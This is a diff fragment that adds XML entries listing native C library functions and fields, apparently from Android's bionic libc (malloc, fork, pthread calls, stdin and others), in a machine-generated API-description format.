+ <method abstract="false" deprecated="not deprecated" final="true" name="inet_pton" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="drand48" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="calloc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswctype_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setregid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="srand48" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="puts" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strdup" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsnlen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswpunct_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_barrierattr_getpshared" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fgetc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pwrite" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fopen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutexattr_setpshared" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mkdtemp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="optind" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstoumax" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="semop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_resolv_delete_cache_for_net" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mkostemps64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__vsnprintf_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigsetjmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pwritev" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mallinfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vfscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsrchr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fgets" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcslen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="preadv64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vsnprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fork" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_key_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="scandir64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isgraph" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_kill" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlock_wrlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strlcpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fp_nquery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_getstacksize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="close" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lockf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_cond_wait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sem_timedwait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__read_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_get" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getgroups" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tmpnam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="endgrent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__strncpy_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="htonl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlock_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="openat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBC" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="creat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__stack_chk_fail" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="readlink" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isspace" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__strcpy_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="htons" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcswidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswalpha" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nice" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gai_strerror" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="difftime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="klogctl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="msync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="towctrans" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsftime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ftw" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clock_gettime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wmemcpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getauxval" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_getlong" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="memset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getrlimit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_cond_broadcast" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setresgid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="utmpname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="malloc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlock_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcpncpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="initstate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_barrier_wait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_resolv_flush_cache_for_net" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isfinite" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="res_mkquery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="open_wmemstream" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="funopen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="error_one_per_line" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getprotobynumber" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="timerfd_settime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ungetwc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gethostbyname_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="llabs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="stpcpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="readdir_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tmpfile" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sync_file_range" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_querydomain" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="prlimit64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="utime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsdup" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="feof_unlocked" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fsetxattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getpwent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswprint_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getppid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__isfinitef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lseek64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isnormal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigignore" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fwritable" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="malloc_info" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setvbuf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dirname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fcntl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_atfork" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__isfinitel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getgrgid_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__b64_ntop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="bindresvport" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="bsearch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__loc_ntoa" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mktemp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="catopen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstoull" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="imaxabs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="timegm" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_send_setrhook" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isinf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="reboot" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lstat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lstat64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mkfifo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlockattr_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__ctype_get_mb_cur_max" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="regfree" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsncasecmp_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="execve" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vdprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fileno_unlocked" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isspace_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inet_nsap_addr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gethostbyaddr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="catgets" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sem_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigsuspend" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__strncpy_chk2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="accept" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ftw64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="write" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setstate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getgid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__memmove_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="execvp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__FD_ISSET_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_ninit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="__sF" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mkstemps" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="bind" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gethostbyaddr_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_nquery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getlogin" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sem_close" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__strlcat_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="daylight" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_setstack" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="shmat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_spin_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ftello64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="llistxattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="atoll" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inet_netof" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="timer_getoverrun" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_flushlbf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="opendir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="timerfd_gettime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_name_ntol" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__sym_ntop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_condattr_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcslcpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__sym_ntos" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inet_aton" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_name_ntop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_getschedparam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="forkpty" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nanosleep" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setpgrp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigrelse" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="delete_module" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswgraph_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__getcwd_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ldexp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gmtime_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="statvfs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="timer_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mmap64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="posix_fadvise" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inet_makeaddr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fts_read" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="stdin" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__sched_cpualloc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_setdetachstate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tcsendbreak" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="chroot" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fstatvfs64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getegid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mbrlen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="process_vm_readv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getutent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlockattr_getkind_np" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mremap" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_close" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getpwnam_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clearerr_unlocked" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="posix_openpt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getservent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isnanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getpwnam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigaddset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="__stack_chk_guard" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstoll_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getsockopt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getpagesize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="memmove" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tsearch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="verr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isnanl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fread_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="openpty" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fchmod" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="get_phys_pages" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="timezone" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsnrtombs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getdomainname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="readdir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mbrtoc16" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="newlocale" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__readlink_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="if_nametoindex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mallopt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
